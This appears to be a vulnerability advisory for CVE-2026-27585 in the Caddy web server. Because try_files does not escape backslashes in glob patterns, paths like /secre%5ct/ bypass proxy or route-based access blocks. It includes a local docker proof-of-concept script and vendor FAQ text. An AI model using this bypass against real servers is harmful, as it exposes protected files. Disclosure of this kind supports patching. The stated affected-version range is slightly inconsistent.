CVE-2026-27585

The path sanitization in file matcher doesn't sanitize backslashes which can lead to bypassing path related security protections.

Details

The try_files directive is used to rewrite the request uri. It accepts a list of patterns and checks if any files exist in the root that match the provided patterns. It's commonly used in Caddy configs. For example, it's used in SPA applications to rewrite every route that doesn't exist as a file to index.html.

example.com {
	root * /srv
	encode
	try_files {path} /index.html
	file_server
}

try_files patterns are actually glob patterns and file matcher expands them. The {path} in the pattern is replaced with
the request path and then is expanded by fs.Glob. The request path is sanitized before being placed inside the pattern and the special chars are escaped . The following code is the sanitization part.

var globSafeRepl = strings.NewReplacer(
	"*", "\\*",
	"[", "\\[",
	"?", "\\?",
)

expandedFile, err := repl.ReplaceFunc(file, func(variable string, val any) (any, error) {
    if runtime.GOOS == "windows" {
        return val, nil
    }
    switch v := val.(type) {
    case string:
        return globSafeRepl.Replace(v), nil
    case fmt.Stringer:
        return globSafeRepl.Replace(v.String()), nil
    }
    return val, nil
})

The problem here is that it does not escape backslashes. /something-\*/ can match a file named something-\-anything.txt, but it should not. The primitive that this vulnerability provides is not very useful, as it only allows an attacker to guess filenames that contain a backslash and they should also know the characters before that backslash.

The backslash is mainly used to escape special characters in glob patterns, but when it appears before non special characters, it is ignored. This means that h\ello* matches hello world even though e is not a special character. This behavior can be abused to bypass path protections that might be in place. For example, if there is a reverse proxy that only allows /documents/* to the internal network and its upstream is a Caddy server that uses try_files, the reverse proxy's protection can be bypassed by requesting the path /do%5ccuments/.

Some configurations that implement blacklisting and serving together in Caddy are also vulnerable but there's a condition that the try_files directive and the filtering route/handle must not be in a same block because try_files directive executes before route and handle directives.

For example the following config isn't vulnerable.

:80 {
    root * /srv

    route /documents/* {
        respond "Access denied" 403
    }

    try_files {path} /index.html
    file_server
}

But this one is vulnerable.

:80 {
    root * /srv

    route /documents/* {
        respond "Access denied" 403
    }

    route /* {
        try_files {path} /index.html
    }
    file_server
}

This config is also vulnerable because Header directives executes before try_files.

:80 {
    root * /srv 
    header /uploads/* {
        X-Content-Type-Options "nosniff"
        Content-Security-Policy "default-src 'none';"
    }
    try_files {path} /index.html
    file_server
}

PoC

Paste this script somewhere and run it. It should print "some content" which means that the nginx protection has failed.

#!/bin/bash

mkdir secret
echo 'some content' > secret/secret.txt

cat > Caddyfile <<'EOF'
:80 {
    root * /srv

    try_files {path} /index.html
    file_server
}
EOF

cat > nginx.conf <<'EOF'
events {}

http {
    server {
        listen 80;
        
        location /secret {
            return 403;
        }

        location / {
            proxy_pass http://caddy;
            proxy_set_header Host $host;
        }
    }
}
EOF

cat > docker-compose.yml <<'EOF'
services:
  caddy:
    # caddy@sha256:c3d7ee5d2b11f9dc54f947f68a734c84e9c9666c92c88a7f30b9cba5da182adb
    image: caddy:latest
    volumes:
      - ./Caddyfile:/etc/caddy/Caddyfile:ro
      - ./secret:/srv/secret:ro
  nginx:
    # nginx@sha256:341bf0f3ce6c5277d6002cf6e1fb0319fa4252add24ab6a0e262e0056d313208
    image: nginx:latest
    volumes:
      - ./nginx.conf:/etc/nginx/nginx.conf:ro
    ports:
      - "8000:80" 
EOF

docker compose up -d
curl 'localhost:8000/secre%5ct/secret.txt'

AI Usage

An LLM was used to polish this report.

This vulnerability may allow an attacker to bypass security protections. It affects users with specific Caddy and environment configurations.

The application does not adequately validate input before processing it, allowing unexpected values to reach sensitive code paths. Typical impact: varies by context: data corruption, logic bypass, or denial of service.

Kodem intelligence

1. What is CVE-2026-27585? CVE-2026-27585 is a medium-severity improper input validation vulnerability in github.com/caddyserver/caddy/v2 (go), affecting versions < 2.11.0. It is fixed in 2.11.1. The application does not adequately validate input before processing it, allowing unexpected values to reach sensitive code paths.
2. Which versions of github.com/caddyserver/caddy/v2 are affected by CVE-2026-27585? github.com/caddyserver/caddy/v2 (go) versions < 2.11.0 is affected.
3. Is there a fix for CVE-2026-27585? Yes. CVE-2026-27585 is fixed in 2.11.1. Upgrade to this version or later.
4. Is CVE-2026-27585 exploitable, and should I be worried? Whether CVE-2026-27585 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
5. What actually determines whether CVE-2026-27585 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
6. How do I fix CVE-2026-27585? Upgrade github.com/caddyserver/caddy/v2 to 2.11.1 or later.